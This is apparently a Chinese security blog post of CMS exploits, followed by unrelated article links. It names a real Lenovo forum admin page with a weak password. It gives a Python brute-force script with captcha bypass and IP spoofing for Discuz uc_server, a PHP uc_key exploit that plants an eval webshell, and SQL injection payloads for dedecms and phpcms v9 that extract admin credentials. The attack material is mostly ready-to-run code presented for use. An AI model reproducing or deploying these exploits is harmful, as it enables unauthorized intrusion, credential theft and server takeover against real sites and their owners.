例1, discuz!后台弱口令/暴力破解

1、http://club.lenovo.com.cn/admin.php

弱口令:admin/admin

2、http://club.lenovo.com.cn/uc_server/admin.php?m=user&a=login&iframe=&sid=

uc_server 登录页面,验证码绕过

暴力破解poc如下:

uc_server.py 源代码

#coding:utf-8

import httplib,re,random,urllib,time

from sys import argv

#进行爆破

def getHtml(host,htmlhash,htmlpass,htmlseccode):

ip=str(random.randint(1,100))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))+"."+str(random.randint(100,244))

postHead={"Host":host,"User-Agent": "Mozilla/5.0 (Windows NT 6.3; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0","X-Forwarded-For":ip,'Content-Type':'application/x-www-form-urlencoded','Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Connection':'keep-alive'}

postContent='sid=&formhash='+htmlhash+'&seccodehidden='+htmlseccode+'&iframe=0&isfounder=1&password='+htmlpass+'&seccode=cccc&submit=%E7%99%BB+%E5%BD%95'

resultHtml=httplib.HTTPConnection(host, 80, False)

resultHtml.request('POST','/uc_server/admin.php?m=user&a=login',body=postContent,headers = postHead )

page=resultHtml.getresponse()

pageConect=page.read()

return pageConect

#获取 formhash  和  seccodehidden

def gethashs(host):

url='http://'+host+'/uc_server/admin.php'

pageContent=urllib.urlopen(url).read()

r1=re.compile('<input type="hidden" name="formhash" value="(\S+)" />')

htmlhash=r1.findall(pageContent)[0]

r2=re.compile('<input type="hidden" name="seccodehidden" value="(\S+)" />')

htmlseccode=r2.findall(pageContent)[0]

return htmlhash+' '+htmlseccode

#通过argv获取 host 字典 间隔时间 进行爆破

if(len(argv)==1):

print '---->python '+argv[0]+' host地址 字典文件 间隔时间'

print '---->python '+argv[0]+' 192.168.1.105 pass.txt 0.2'

else:

host=argv[1]

passfile=argv[2]

sleeptime=argv[3]

print '网站host为  '+host

#取域名 然后添加一些密码

hostuser=host.split('.')

hostuser=hostuser[len(hostuser)-2]

hostpass=[hostuser+'123',hostuser+'888',hostuser+hostuser,hostuser+'..',hostuser+'.',hostuser+'admin888',hostuser+'admin123',hostuser+'admin',hostuser+'123456']

print '密码字典为  '+passfile

print '间隔时间为  '+sleeptime

print '--->'

x=gethashs(host).split(' ')

f=open(passfile,'r')

htmlpass=f.read().split('\r\n')

htmlpass=hostpass+htmlpass

f.close()

for i in range(len(htmlpass)):

time.sleep(float(sleeptime))

print '正在尝试密码'+htmlpass[i]

if(getHtml(host,x[0],htmlpass[i],x[1])==''):

print '密码为 '+htmlpass[i]

break

poc使用说明:在程序中修改IP、字典文件、时间间隔,即可暴力破解

---->python D:\WWW\uc_server.py host地址 字典文件 间隔时间

---->python D:\WWW\uc_server.py 192.168.1.105 pass.txt 0.2

经测试,联想club站存在该漏洞,验证码绕过,可暴力破解uc_server创始人密码,然后,获取到uc_key,最后,获取到shell。

获取shell的exp如下:

uc_key.php 源代码

<?php

$key = 'cebbvi5s15BSiMXteaP9TNCIz5K5jAVekw7tcV9TqmYCNT5VOJdu7toOxipTX';#少年 uc_key 写在这里

$url = 'http://localhost/api/uc.php';

$arg = 'action=updateapps&time='.time();#拿webshell:http://localhost/config/config_ucenter.php 密码:c

echo 'curl "'.$url.'?code='.rawurlencode(authcode($arg,'ENCODE',$key)).'" -d "'.addslashes('<?xml version="1.0" encoding="ISO-8859-1"?><root><item id="UC_API">https://sb\');eval(\$_REQUEST[c]);#</item></root>').'"';

#curl或者用其他工具post提交

function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {

$ckey_length = 4;

$key = md5($key);

$keya = md5(substr($key, 0, 16));

$keyb = md5(substr($key, 16, 16));

$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

$cryptkey = $keya.md5($keya.$keyc);

$key_length = strlen($cryptkey);

$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;

$string_length = strlen($string);

$result = '';

$box = range(0, 255);

$rndkey = array();

for($i = 0; $i <= 255; $i++) {

$rndkey[$i] = ord($cryptkey[$i % $key_length]);

}

for($j = $i = 0; $i < 256; $i++) {

$j = ($j + $box[$i] + $rndkey[$i]) % 256;

$tmp = $box[$i];

$box[$i] = $box[$j];

$box[$j] = $tmp;

}

for($a = $j = $i = 0; $i < $string_length; $i++) {

$a = ($a + 1) % 256;

$j = ($j + $box[$a]) % 256;

$tmp = $box[$a];

$box[$a] = $box[$j];

$box[$j] = $tmp;

$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));

}

if($operation == 'DECODE') {

if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {

return substr($result, 26);

} else {

return '';

}

} else {

return $keyc.str_replace('=', '', base64_encode($result));

}

}

?>

例2, dedecms全版本通杀SQL注入漏洞

正常提交:plus/search.php?keyword=as&typeArr[ uNion ]=a

构造exp如下:

plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a

plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a

exp都非常简单,熟练SQL语句就能看懂,大家可以在本地测试。

例3, phpcms v9 SQL注入漏洞

正常流程:

1、首先要注册个帐号

2、来到会员中心--->账号管理--->修改个人信息

3、生日那里随便选个日期

4、提交--->抓包拦截

5、将birthday替换为我们的EXP,进行提交,就能爆出账号密码

构造exp如下:

%60userid%60%3D%28select+1+from%28select+count%28%2A%29%2Cconcat%28%28select+%28select++%28select+concat%280x23%2Ccast%28concat%28username%2C0x3a%2Cpassword%2C0x3a%2Cencrypt%29+as+char%29%2C0x23%29+from+v9%5Fadmin+LIMIT++0%2C1%29%29+from+information%5Fschema%2Etables+limit+0%2C1%29%2Cfloor%28rand%280%29%2A2%29%29x+from+information%5Fschema%2Etables+group++by+x%29a%29+%2D%2D+

其他cms,如: phpwind、ecms 、ecshop、wordpress 、joomla、drupal SQL注入、xss、命令执行等等,大家可以自行研究。

CMS漏洞的更多相关文章

  1. [CMS漏洞]EmpireCMS_V7.5的一次审计【转载】

    i春秋作家:Qclover 原文来自:EmpireCMS_V7.5的一次审计 0x01 概述 最近在做审计和WAF规则的编写,在CNVD和CNNVD等漏洞平台寻找各类CMS漏洞研究编写规则时顺便抽空对 ...

  2. FrameScan-GUI CMS漏洞扫描

    工具简介 FrameScan-GUI是一款python3和Pyqt编写的具有图形化界面的cms漏洞检测框架,是FrameScan的加强版.支持多种检测方式,支持大多数CMS,可以自定义CMS类型及自行 ...

  3. FrameScan CMS漏洞扫描

    工具简介 GithubL:https://github.com/qianxiao996/FrameScan FrameScan是一款python3编写的简易的cms漏洞检测框架,支持多种检测方式,支持 ...

  4. Catfish CMS漏洞集合

    转自https://larryxi.github.io/ 0x00 背景 版本:V 4.2.35 官网下载:http://www.catfish-cms.com/page/4.html 文章内容仅作学 ...

  5. CMS漏洞检测工具 – CMSmap

    CMSmap是一个Python编写的针对开源CMS(内容管理系统)的安全扫描器,它可以自动检测当前国外最流行的CMS的安全漏洞. CMSmap主要是在一个单一的工具集合了不同类型的CMS的常见的漏洞. ...

  6. 应用安全-CMF/CMS漏洞整理

    CMS识别 云悉 http://whatweb.bugscaner.com/batch.html CakePHP  CakePHP <= / Cache Corruption Exploit 2 ...

  7. 动易CMS漏洞收集

    动易SiteWeaver6.8短消息0day跨站漏洞 user用户登陆,默认账号密码 admin/admin888 短消息代码模式下编辑,预览 <img src="../Skin/bl ...

  8. Web漏洞扫描工具(批量脱壳、反序列化、CMS)

    一.什么是Web漏洞扫描工具 即是指“扫描Web应用以查找安全漏洞(如跨站脚本,SQL注入,命令执行,目录遍历和不安全服务器配置)的自动化工具”,其中许多可能是由不安全或不正确的编码和设计.另一方面, ...

  9. 齐博cms最新SQL注入网站漏洞 可远程执行代码提权

    齐博cms整站系统,是目前建站系统用的较多的一款CMS系统,开源,免费,第三方扩展化,界面可视化的操作,使用简单,便于新手使用和第二次开发,受到许多站长们的喜欢.开发架构使用的是php语言以及mysq ...

随机推荐

  1. GitHub进一步了解

    为什么要引入Git: 1)用简单一点的例子来讲: 一个公司有几个甚至十几个人共同合作开发一款项目的时候,公司对项目代码有明确规范,不可能再像学校做的小项目一样,你觉得哪个同学的代码写的不好,或者和你的 ...

  2. Go语言项目的错误和异常管理 via 达达

    Go语言项目的错误和异常管理 最近连续遇到朋友问我项目里错误和异常管理的事情,之前也多次跟团队强调过错误和异常管理的一些概念,所以趁今天有动力就赶紧写一篇Go语言项目错误和异常管理的经验分享. 首先我 ...

  3. JVM内存结构之一--总体介绍

    Java 虚拟机在执行Java程序的时候会把它管理的内存区域划为几部分,这一节我们就来解析一下Java的内存区域. 有的人把JVM管理的内存简单地分为堆内存和栈内存,这样分未免有些太肤浅了. Java ...

  4. 【JMeter】JMeter完成一个MySql压力测试

    jmeter也可以用来做数据库的压力测试,并且兼容各种数据库类型,只需要更改对应的数据库驱动类和url.以下为整理到的数据库驱动类对应url.并且给出一个mysql数据库select的简单应用.如下: ...

  5. 【Python】Python-用大写字母打印你的名字

    与孩子一起编程,有个作业题:用大写字母打印你的名字. CCCC A RRRRR C C A A R R C A A R R C AAAAAAA RRRRR C C A A R R CCCC A A R ...

  6. codeforces 671B Robin Hood 二分

    题意:有n个人,每个人a[i]个物品,进行k次操作,每次都从最富有的人手里拿走一个物品给最穷的人 问k次操作以后,物品最多的人和物品最少的人相差几个物品 分析:如果次数足够多的话,最后的肯定在平均值上 ...

  7. JPEG最优压缩参数试验【光影魔术手VS Image Optimizer】

                                          样本数量:100张(1MB-2.6MB)旅游照     样本大小:157MB 156.44      样本尺寸:3M(204 ...

  8. 【译】 AWK教程指南 附录E-正则表达式

    为什么要使用正则表达式 UNIX 中提供了许多 指令 和 tools,它们具有在文件中 查找(Search)字串或替换(Replace)字串 的功能.像 grep, vi , sed, awk,... ...

  9. POJ-3744 Scout YYF I 概率DP

    题目链接:http://poj.org/problem?id=3744 简单的概率DP,分段处理,遇到mine特殊处理.f[i]=f[i-1]*p+f[i-2]*(1-p),i!=w+1,w为mine ...

  10. 【转】 hive安装配置及遇到的问题解决

    原文来自: http://blog.csdn.net/songchunhong/article/details/51423823 1.下载Hive安装包apache-hive-1.2.1-bin.ta ...